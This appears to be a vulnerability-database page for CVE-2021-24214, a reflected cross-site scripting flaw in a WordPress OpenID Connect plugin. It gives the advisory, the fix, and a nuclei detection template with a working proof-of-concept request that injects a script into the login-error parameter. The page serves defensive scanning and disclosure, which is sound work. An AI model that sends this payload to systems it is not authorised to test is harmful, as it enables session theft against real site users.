Browse / CVEs / CVE-2021-24214
CVE-2021-24214· daggerhartlab / openid connect generic client· CWE-79
WordPress OpenID Connect Generic Client 3.8.0-3.8.1 - Cross-Site Scripting
WordPress OpenID Connect Generic Client plugin 3.8.0 and 3.8.1 contains a cross-site scripting vulnerability. It does not sanitize the login error when output back in the login form, thereby not requiring authentication, which can be exploited with the default configuration.
Impact
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
Fix
Update to the latest version of the WordPress OpenID Connect Generic Client plugin (3.8.2) to fix this vulnerability.
How to confirm it
Send: GET /wp-content/plugins/daggerhart-openid-connect-generic/readme.txt
Positive when: contains "OpenID Connect Generic Client"
Send: GET {{BaseURL}}/wp-login.php?login-error=<script>alert(document.domain)</script>
Positive when: contains "ERROR (<script>alert(document.domain)</script>):" and "Login with OpenID Connect" AND contains in header "text/html" AND status 200Run it with nuclei: nuclei -id CVE-2021-24214 -u <target>
The full check
id: CVE-2021-24214
info:
name: WordPress OpenID Connect Generic Client 3.8.0-3.8.1 - Cross-Site Scripting
author: tess
severity: medium
description: WordPress OpenID Connect Generic Client plugin 3.8.0 and 3.8.1 contains a cross-site scripting vulnerability. It does not sanitize the login error when output back in the login form, thereby not requiring authentication, which can be exploited with the default configuration.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
remediation: |
Update to the latest version of the WordPress OpenID Connect Generic Client plugin (3.8.2) to fix this vulnerability.
reference:
- https://wpscan.com/vulnerability/31cf0dfb-4025-4898-a5f4-fc7115565a10
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-24214
- https://nvd.nist.gov/vuln/detail/CVE-2021-24214
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-24214
cwe-id: CWE-79
epss-score: 0.01623
epss-percentile: 0.76302
cpe: cpe:2.3:a:daggerhartlab:openid_connect_generic_client:3.8.0:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: daggerhartlab
product: "openid_connect_generic_client"
framework: wordpress
tags: cve2021,cve,wpscan,wordpress,xss,wp-plugin,wp,openid,daggerhartlab,vuln
flow: http(1) && http(2)
http:
- raw:
- |
GET /wp-content/plugins/daggerhart-openid-connect-generic/readme.txt HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
internal: true
words:
- 'OpenID Connect Generic Client'
- method: GET
path:
- '{{BaseURL}}/wp-login.php?login-error=<script>alert(document.domain)</script>'
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'ERROR (<script>alert(document.domain)</script>):'
- 'Login with OpenID Connect'
condition: and
- type: word
part: header
words:
- text/html
- type: status
status:
- 200References
- https://wpscan.com/vulnerability/31cf0dfb-4025-4898-a5f4-fc7115565a10
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-24214
- https://nvd.nist.gov/vuln/detail/CVE-2021-24214
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
Use this check only on systems you are authorised to test. Where the data comes from